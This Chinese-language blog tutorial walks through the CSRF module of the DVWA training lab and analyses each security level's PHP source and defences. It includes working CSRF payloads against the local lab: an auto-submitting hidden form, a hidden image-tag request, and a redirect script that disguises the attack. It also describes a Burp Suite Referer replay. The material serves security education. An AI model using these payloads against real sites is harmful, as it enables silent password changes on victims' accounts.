DVWA靶场保姆级通关教程--03CSRF跨站请求伪造
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
-
目录
文章目录
前言
一、low级别的源码分析
二、medium级别源码分析
安全性分析
增加了一层 Referer 验证:
关键点是:在真实的网络环境中,攻击者并不需要(也不可能)拦截或修改用户的请求
常见诱导方式
1. 自动提交表单(伪装成广告或页面跳转)
2. 隐藏在图片标签中(GET 请求时)
3. 模拟跳转页面
攻击者利用的是:
三、high级别源码分析
当前 High 级别 CSRF 防御机制:
也就是说:
附加说明(常见误区):
四、impossible级别源码分析
1. 引入了 CSRF Token 校验
2. 使用了预处理语句(Prepared Statements)
3. 增加了密码确认机制
4. 错误处理和反馈更加清晰
5. 密文加密
6. 会话令牌(Session Token)管理
总结
前言
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种常见的Web安全攻击方式。它的核心思想是:
攻击者诱导用户在已经登录认证的情况下,发起一个伪造的请求到受信任的网站,从而在用户不知情的情况下完成一些恶意操作。
图示如下:
提示:以下是本篇文章正文内容,下面案例可供参考
一、low级别的源码分析
<?php// 如果用户提交了 Change 参数(通过 GET 请求)
if( isset( $_GET[ 'Change' ] ) ) {// 获取新密码和确认密码的值$pass_new = $_GET[ 'password_new' ]; // 新密码$pass_conf = $_GET[ 'password_conf' ]; // 确认密码// 检查两次输入的密码是否一致if( $pass_new == $pass_conf ) {// 如果一致,则进行下一步处理// 对新密码进行 SQL 转义,防止 SQL 注入(不过这里写法比较老旧)$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// 使用 MD5 对密码加密(不安全,但这是示例)$pass_new = md5( $pass_new );// 构造 SQL 更新语句,将当前用户的密码更新为新密码$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";// 执行 SQL 更新操作$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// 给用户的提示信息:密码修改成功echo "<pre>Password Changed.</pre>";}else {// 如果密码不一致,提示错误echo "<pre>Passwords did not match.</pre>";}// 关闭数据库连接((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
这里虽然修改密码失败,但是可以通过URL发现,修改密码的操作是通过get传参提交了一个change的请求,打开一个新的页面直接在地址栏修改,前提是打开一个新的页面发现用户并没退出登录,类似点击了一个a(img)(form)标签跳转到一个新的页面,使用这个已登录用户的session信息进行验证
在新的标签构造修改密码的URL如下:
-
修改密码使用 GET 请求(不安全)。
-
用户已登录,浏览器会自动带上 Cookie。
-
所以即使在新窗口或点击链接打开,只要用户没退出登录,就会生效。
-
攻击者就能通过构造 URL + 诱导点击,悄悄修改密码。
二、medium级别源码分析
<?php// 判断用户是否提交了 GET 参数 Change
if( isset( $_GET[ 'Change' ] ) ) {// 验证请求是否来自本站,即检查 Referer 是否包含当前服务器域名if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// 获取用户输入的新密码和确认密码$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// 检查两次输入是否一致if( $pass_new == $pass_conf ) {// SQL 过滤 + MD5 加密(仍然不安全,仅用于演示)$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// 执行 SQL 更新语句$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// 显示提示信息echo "<pre>Password Changed.</pre>";}else {// 密码不一致,报错echo "<pre>Passwords did not match.</pre>";}}else {// 如果 Referer 不可信,拒绝请求echo "<pre>That request didn't look correct.</pre>";}// 关闭数据库连接((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
安全性分析
增加了一层 Referer 验证:
Referer(HTTP 头部的一部分) 是浏览器在发起请求时自动携带的信息,用于告诉服务器:
“这个请求是从哪个页面跳转过来的”。
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
-
作用:防止来自第三方页面(例如攻击者网站)的请求。
-
原理:合法请求应来自当前站点的页面,Referer 会包含本站域名。
-
攻击者如果在自己的页面发起请求,Referer 通常不会包含受害网站域名,因此会被拦截。
这里如果还是用low级别的方法在一个新的页面构造修改密码的请求,会报错。主要就是referer的参数没有和第一个请求的时候保持一致,那么先正常修改密码,通过burpsuite抓包看一下referer字段的参数值是多少
打开一个新的页面构造修改密码的URL:http://127.0.0.1:8080/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
此时修改密码是失败的,通过抓包查看,可以看到没有Referer字段值,将数据包发送repeater重发模块
在数据包重放模块中、在get请求和referer字段同时修改、你现在想修改的密码:比如123456,点击send发送,查看返回值发现修改成功
关键点是:在真实的网络环境中,攻击者并不需要(也不可能)拦截或修改用户的请求
攻击者诱导用户自己去发出“合法的请求”,并利用用户的登录状态(如 Cookie 中的 session)完成敏感操作。
攻击者构造如下 HTML 页面,诱导用户点击或自动访问,造成好像是一个正常广告弹窗或是页面跳转再或者页面一闪而过的这种现象,让用户以为自己并没有受到攻击:
常见诱导方式
1. 自动提交表单(伪装成广告或页面跳转)
<html><head><meta charset="utf-8"><title>加载中...</title></head><body onload="document.forms[0].submit()"><p>页面加载中,请稍后...</p><form action="http://127.0.0.1:8080/dvwa/vulnerabilities/csrf/" method="GET"><input type="hidden" name="password_new" value="1234" /><input type="hidden" name="password_conf" value="1234" /><input type="hidden" name="Change" value="Change" /></form></body>
</html>
效果:用户访问页面那一刻就完成了请求,页面一闪而过,就像跳转一样,背后却是密码被修改。
2. 隐藏在图片标签中(GET 请求时)
<img src="http://127.0.0.1:8080/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change" style="display:none;" />
3. 模拟跳转页面
<script>// 等待1秒再跳转,模拟正常流程setTimeout(function() {window.location.href = 'https://example.com';}, 1000);
</script>
配合自动提交表单,造成“访问了一个页面 -> 跳转正常页面”,从而掩盖 CSRF 攻击。
攻击者利用的是:
-
用户处于已登录状态;
-
浏览器会自动携带 Cookie;
-
请求结构与正常请求无差别;
-
用户以为只是“点错了广告”或“页面加载了一下”。
三、high级别源码分析
<?php// 判断是否点击了“Change”按钮
if( isset( $_POST[ 'Change' ] ) ) {// 检查 Anti-CSRF 令牌是否匹配(防止伪造请求)if ($_POST['user_token'] == $_SESSION['session_token']) {// 获取用户输入的新密码和确认密码$pass_new = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// 判断两个密码是否一致if( $pass_new == $pass_conf ) {// 密码一致,开始处理// 对新密码进行转义,防止SQL注入$pass_new = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new);// 对密码进行MD5加密(注意:实际应用中不推荐使用MD5)$pass_new = md5( $pass_new );// 构造 SQL 更新语句,修改当前登录用户的密码$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";// 执行 SQL 更新操作$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// 修改成功,反馈给用户echo "<pre>Password Changed.</pre>";} else {// 两次密码输入不一致,提示错误echo "<pre>Passwords did not match.</pre>";}} else {// CSRF token 不匹配,提示错误echo "<pre>CSRF token is incorrect</pre>";}
}?>
当前 High 级别 CSRF 防御机制:
-
攻击者构造表单时:
-
表单里的
user_token
是攻击者自己从页面里复制下来的(静态)。 -
这个 token 属于攻击者自己的 session,和受害者无关。
-
-
受害者点击攻击链接时:
-
表单是提交到了 DVWA,但服务器会拿
GET
请求里的user_token
去和受害者 session 中真正的 token 做对比。 -
由于两个 token 不一致(攻击者不能预测受害者的 token),校验失败。
-
最终返回:“That request didn’t look correct.”
-
也就是说:
DVWA High 级别的防御逻辑可以总结为:
🔒 验证 token 是否和当前 session 匹配,匹配才能执行敏感操作(如改密码)。
所以只要你作为攻击者 无法控制受害者 session 中的 token 值,你就不能完成攻击 ✅
附加说明(常见误区):
误解 | 真相 |
---|---|
我复制了token,能不能直接用? | ❌ 不行,因为那是你自己的,不是受害者的 |
用户打开了我的页面,是不是能自动提交? | ✅ 表单可以提交,但服务器不会放行 |
我伪造Referer或者User-Agent就能骗过吗? | ❌ 在 High 级别中,主要靠 token 防御,Referer 检查不是核心 |
可以试试 如何绕过 token 机制(比如通过 XSS 拿 token),这才是后续更高阶的玩法。由于这个已经不是纯粹的csrf了,所以这里不做其他尝试。
四、impossible级别源码分析
if( isset( $_GET[ 'Change' ] ) ) { // 判断是否点击了“Change”按钮,即URL中是否有Change参数// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 校验请求中传入的token与session中的token是否一致,防止CSRF攻击// Get input$pass_curr = $_GET[ 'password_current' ]; // 获取当前密码$pass_new = $_GET[ 'password_new' ]; // 获取新密码$pass_conf = $_GET[ 'password_conf' ]; // 获取确认的新密码// Sanitise current password input$pass_curr = stripslashes( $pass_curr ); // 去除可能的转义字符$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 对密码进行SQL注入防护,防止恶意代码注入$pass_curr = md5( $pass_curr ); // 将密码进行md5加密// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); // 查询数据库,验证当前密码是否正确$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); // 获取当前用户$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); // 绑定加密后的当前密码$data->execute(); // 执行查询// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // 检查新密码是否一致,且当前密码是否正确// It does!$pass_new = stripslashes( $pass_new ); // 去除新密码中的转义字符$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 对新密码进行SQL注入防护$pass_new = md5( $pass_new ); // 将新密码进行md5加密// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); // 更新数据库中的密码$data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); // 绑定新密码$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); // 绑定当前用户$data->execute(); // 执行密码更新// Feedback for the userecho "<pre>Password Changed.</pre>"; // 密码修改成功的反馈}else {// Issue with passwords matchingecho "<pre>Passwords did not match or current password incorrect.</pre>"; // 密码不匹配或当前密码错误的反馈}
}// Generate Anti-CSRF token
generateSessionToken(); // 生成新的CSRF token并保存在session中,以防下一次攻击
相比于 medium.php
,impossible.php
在防止 CSRF 攻击和增强安全性方面有显著的提升,主要体现在以下几个方面:
1. 引入了 CSRF Token 校验
-
medium.php 中并没有明确验证 CSRF Token。攻击者可以构造恶意请求,只要用户不注意,就可能修改密码。
-
impossible.php 引入了
checkToken()
函数来验证 CSRF Token。每次用户发起请求时,必须携带有效的 user_token(即从用户的 session 中生成并与页面一同呈现的 token)。这样就防止了 CSRF 攻击,因为攻击者无法预测或伪造正确的 CSRF Token。
关键代码:
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
该函数会比对请求中的 user_token
与当前 session 中存储的 session_token
,如果不匹配,则请求会被拒绝。
2. 使用了预处理语句(Prepared Statements)
-
medium.php 通过直接拼接 SQL 查询来更新数据库,虽然使用了
mysqli_real_escape_string()
防止 SQL 注入,但这种做法依然不够安全,因为它易受复杂注入攻击的影响。 -
impossible.php 使用了 PDO 预处理语句来执行数据库操作,提供了更高的 SQL 注入防护,因为它通过绑定参数的方式来避免 SQL 注入风险。并且这种方法更具可扩展性和维护性。
关键代码:
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
3. 增加了密码确认机制
-
medium.php 仅检查新密码和确认密码是否一致。
-
impossible.php 进一步增加了对 当前密码 的验证,确保用户提供的当前密码是正确的,并且只有在当前密码正确的情况下,才允许更改新密码。
关键代码:
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
4. 错误处理和反馈更加清晰
-
medium.php 直接打印错误信息或反馈内容,但在一些情况下错误信息可能泄露一些内部系统信息。
-
impossible.php 做了适当的错误处理,向用户提供了更清晰的反馈,区分了不同的错误情况,如密码不匹配或当前密码错误,增强了用户体验和系统的安全性。
5. 密文加密
-
在
medium.php
中,密码使用 MD5 进行加密,但没有明确提到加盐(Salt)等其他加密增强措施。 -
impossible.php 虽然仍然使用了 MD5 加密(不够安全),但其增加了对输入的字符串的 清洗 和 SQL注入防护,这比
medium.php
的做法要安全一些,尤其是在防止恶意注入方面。
6. 会话令牌(Session Token)管理
-
在
impossible.php
中,成功修改密码后,生成了新的 CSRF Token,并将其存储在 Session 中。这种机制防止了同一会话中多次提交相同的恶意请求,增强了会话的安全性。
关键代码:
generateSessionToken(); // 生成新的CSRF token并保存在session中
总结
impossible.php 相比于 medium.php 增强了安全性,尤其在防止 CSRF 攻击 和 SQL 注入 方面。通过引入 CSRF Token 校验,使用 PDO 预处理语句,以及 当前密码验证,使得该页面更加健壮和安全。虽然依然使用了 MD5 加密算法,理论上仍然可以进一步加强密码存储的安全性(如使用更强的哈希算法,比如 bcrypt),但其加强的防护措施已显著降低了攻击的风险。
相关文章:

DVWA靶场保姆级通关教程--03CSRF跨站请求伪造
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 目录 文章目录 前言 一、low级别的源码分析 二、medium级别源码分析 安全性分析 增加了一层 Referer 验证: 关键点是:在真实的网络环境中&a…...
从 Python 基础到 Django 实战 —— 数据类型驱动的 Web 开发之旅
主题简介: 本主题以 Python 基础数据类型为核心,结合 Django 框架的开发流程,系统讲解如何通过掌握数字、字符串、列表、元组、字典等基础类型,快速构建功能完善的 Web 应用。通过理论与实践结合,帮助学员从零基础 Py…...

架构思维:构建高并发读服务_基于流量回放实现读服务的自动化测试回归方案
文章目录 引言一、升级读服务架构,为什么需要自动化测试?二、自动化回归测试系统:整体架构概览三、日志收集1. 拦截方式2. 存储与优化策略3. 架构进化 四、数据回放技术实现关键能力 五、差异对比对比方式灵活配置 六、三种回放模式详解1. 离…...

Qt实现车载多媒体项目,包含天气、音乐、视频、地图、五子棋功能模块,免费下载源文件!
本文主要介绍项目,项目的结构,项目如何配置,项目如何打包。这篇文章如果对你有帮助请点赞和收藏,谢谢!源代码仅供学习使用,如果转载文章请标明出处!(免费下载源代码)&…...
Ubuntu 安装 Nginx
Nginx 是一个高性能的 Web 服务器和反向代理服务器,同时也可以用作负载均衡器和 HTTP 缓存。 Nginx 的主要用途 用途说明Web服务器提供网页服务,处理用户的 HTTP 请求,返回 HTML、CSS、JS、图片等静态资源。反向代理服务器将用户请求转发到…...
Android数据库全栈开发实战:Room+SQLCipher+Hilt企业级应用构建
简介 在移动应用开发中,数据库作为数据存储的核心组件,其安全性和性能对企业级应用至关重要。本文将从零开始,全面讲解Android数据库开发的最新技术,包括Room框架的深度使用、SQLCipher加密数据库的实现、Hilt依赖注入的集成以及前后端数据同步的完整方案。通过一个加密任…...

【PostgreSQL】超简单的主从节点部署
1. 启动数据库 启动主节点 docker run --name postgres-master -e POSTGRES_PASSWORDmysecretpassword -p 5432:5432 -d postgres启动从节点 docker run --name postgres-slave -e POSTGRES_PASSWORDmysecretpassword -p 5432:5432 -d postgres需要配置挂载的存储卷 2. 数据…...

zotero pdf中英翻译插件使用
最近发现一个pdf中英翻译的神器zotero-pdf2zh,按照官方安装教程走一遍的时候,发现一些流程不清楚的问题, 此文就是整理一些安装需要的文件以及遇到的问题: 相关文件下载地址 Zotero 是一款免费的、开源的文献管理工具࿰…...

WSL(Windows Subsystem for Linux)入门
目录 1.简介2.安装与配置3.常用命令4.进阶使用4.1 文件系统交互4.2 网络互通4.3 配置代理4.4 运行 GUI 程序4.5 Docker 集成 1.简介 WSL 是 Windows 系统内置的 Linux 兼容层,允许直接在 Windows 中运行 Linux 命令行工具和应用程序,无需虚拟机或双系统…...

Python项目73:自动化文件备份系统1.0(tkinter)
主要功能说明: 1.界面组件:源文件夹和目标文件夹选择(带浏览按钮),备份间隔时间设置(分钟),立即备份按钮,自动备份切换按钮,状态栏显示备份状态。 2.进度条显…...

C++:扫雷游戏
一.扫雷游戏项目设计 1.文件结构设计 首先我们要先定义三个文件 ①test.c //文件中写游戏的测试逻辑 ②game.c //文件中写游戏中函数的实现等 ③game.h //文件中写游戏需要的数据类型和函数声明等 2.扫雷游戏的主体结构 使⽤控制台实现经典的扫雷游戏 •游戏可以通过菜单…...

使用xlwings将excel表中将无规律的文本型数字批量转化成真正的数字
之前我写了一篇文章excel表中将无规律的文本型数字批量转化成真正的数字-CSDN博客 是使用excel自带的操作,相对繁琐。 今天使用xlwings操作,表格如下(有真正的数字,也有文本型数字,混在在一起)࿱…...

文件包含 任意文件读取
文件处理漏洞--文件包含 - wizard骑士 - 博客园 1,什么是文件包含 程序开发人员一般会吧重复使用的函数写道单个文件中,需要使用某个函数时直接调用此文件,无需再次编写,文件调用的过程就是文件包含,所以将包含的文件…...

缓存套餐-01.Spring Cache介绍和常用注解
一.Spring Cache 要使用直接导入坐标即可。 如何选择底层的缓存实现呢?只要导入对应的缓存坐标即可。如果要使用redis作为缓存实现,那么只需要导入redis的maven坐标。 二.常用注解 Cacheable:不光往缓存中写缓存数据,而且会从缓…...

C++类与对象—下:夯实面向对象编程的阶梯
9. 赋值运算符重载 9.1 运算符重载 在 C 里,运算符重载能够让自定义类型的对象像内置类型那样使用运算符,这极大地提升了代码的可读性与可维护性。运算符重载本质上是一种特殊的函数,其函数名是 operator 加上要重载的运算符。 下面是运算…...
MCP认证全解析:从零到微软认证专家
MCP认证全解析:从零到微软认证专家 什么是MCP认证? Microsoft Certified Professional(MCP)是由微软官方颁发的技术认证,旨在验证IT从业者在微软技术栈(如Azure、Windows Server、SQL Server等࿰…...
裸辞8年前端的面试笔记——JavaScript篇(一)
裸辞后的第二个月开始准备找工作,今天是第三天目前还没有面试,现在的行情是一言难尽,都在疯狂的压价。 下边是今天复习的个人笔记 一、事件循环 JavaScript 的事件循环(Event Loop)是其实现异步编程的关键机制。 从…...
TCP 与 UDP报文
** TCP 与 UDP报文** 1. 引言 在网络通信中,TCP(传输控制协议) 和 UDP(用户数据报协议) 是两种最核心的传输层协议。它们各自适用于不同的场景,理解其工作原理对开发高性能网络应用至关重要。本文将详细解…...
开上“Python跑的车”——自动驾驶数据可视化的落地之道
开上“Python跑的车”——自动驾驶数据可视化的落地之道 一、自动驾驶离不开“看得见”的智能 在智能汽车时代,自动驾驶已然不是“炫技”标签,而是一场技术实力的全面拉锯战。而在这场战役中,有一个极其关键但常被忽略的领域,叫做: 数据可视化(Data Visualization)。 为…...

Linux中安装mysql8,转载及注意事项
一、先前往官网下载mysql8 下载地址: https://dev.mysql.com/downloads/选择Linux 二、删除Linux中的mysql(如果有的话),上传安装包 1、先查看mysql是否存在,命令如下: rpm -qa|grep -i mysql如果使用这…...
可以下载blender/fbx格式模型网站
glbxz.com glbxz.com可以下载blender/fbx格式模型。当然里面有免费的...

SpringBoot的汽车商城后台管理系统源码开发实现
概述 汽车商城后台管理系统专为汽车4S店和经销商设计,提供全面的汽车管理系统解决方案。 主要内容 1. 核心功能模块 系统提供以下主要功能: 销售管理:记录销售信息,跟踪交易进度客户管理:维护客户…...
从入门到深入:Vue.js 学习全攻略
一、Vue.js 入门基础 (一)Vue.js 简介与环境搭建 Vue.js 是一套用于构建用户界面的渐进式 JavaScript 框架,所谓渐进式,意味着开发者可以根据项目需求,灵活地选择使用 Vue 的功能。它既可以嵌入到简单的 HTML 页面中…...
C++八股--6--mysql 日志与并发控制
这里向大家介绍一下数据库基础:共分为以下章节 10前序.日志系统 这是数据库的核心。我放到首页来介绍,给大家一个前置概念,方便进行更好的学习 日志文件我们用来记录事务对数据库更新操作的文件,分为以记录为单位的文件和数据块…...

DeepSeek实战--手搓实现Agent
1.背景 要学习AI agent,只会用agent 框架,还不够,一旦框架出现问题,没法快速的排查出问题。 学习就应该“知其然,更应该知其所以然” ,今天我们就用编码的方式实现一个简单的agent 。我们模拟一套AI学生评…...
Hutool的`BeanUtil.toBean`方法详解
BeanUtil.toBean是Hutool工具包中一个非常实用的JavaBean转换工具方法,它能够方便地将一个对象(通常是Map或另一个JavaBean)转换为目标类型的JavaBean实例。 方法签名 public static <T> T toBean(Object source, Class<T> tar…...

线性代数——行列式⭐
目录 一、行列式的定义⭐ 1-1、三阶行列式练习 1-2、下面介绍下三角行列式、上三角行列式、对角行列式 编辑 二、行列式的性质 2-1、性质1,2,3,4,5,6 编辑 2-2、性质7 2- 3、拉普拉斯定理、克莱姆法则 三…...

iPhone手机连接WiFi异常解决方法
iPhone手机连接WiFi异常解决方法 一、问题现象二、iPhone连不上可能的原因三、基础排查与快速修复第一步:重启大法第二步:忽略网络,重新认证第三步:关闭“私有无线局域网地址”第四步:修改DNS服务器第五步:还原网络设置四、路由器端排查及设置关闭MAC地址过滤或添加到白名…...
Spark缓存
生活中缓存容量受成本和体积限制(比如 CPU 缓存只有几 MB 到几十 MB),但会通过算法(如 “最近最少使用” 原则)智能决定存什么,确保存的是 “最可能被用到的数据”。 1. 为什么需要缓存? 惰性执…...
计算机视觉与深度学习 | 基于Transformer的低照度图像增强技术
基于Transformer的低照度图像增强技术通过结合Transformer的全局建模能力和传统图像增强理论(如Retinex),在保留颜色信息、抑制噪声和平衡亮度方面展现出显著优势。以下是其核心原理、关键公式及典型代码实现: 一、原理分析 1. 全局依赖建模与局部特征融合 Transformer的核…...